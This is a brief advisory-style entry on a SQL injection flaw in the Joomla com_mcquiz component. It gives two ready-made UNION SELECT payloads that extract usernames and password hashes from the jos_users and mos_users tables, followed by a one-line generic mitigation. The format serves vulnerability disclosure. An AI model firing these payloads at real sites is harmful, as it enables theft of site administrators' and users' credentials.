Joomla SQL Injection (com_mcquiz)

An attacker can see the username and password of a Joomla website by exploiting a SQL injection vulnerability in the com_mcquiz component. The attacker can use the following two exploits to achieve this: 1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),concat(username,0x3a,password),0x3a/**/from/**/jos_users/* and 1/**/union/**/select/**/0,concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_users/*

Mitigation:

Ensure that all user input is properly sanitized and validated before being used in a SQL query.
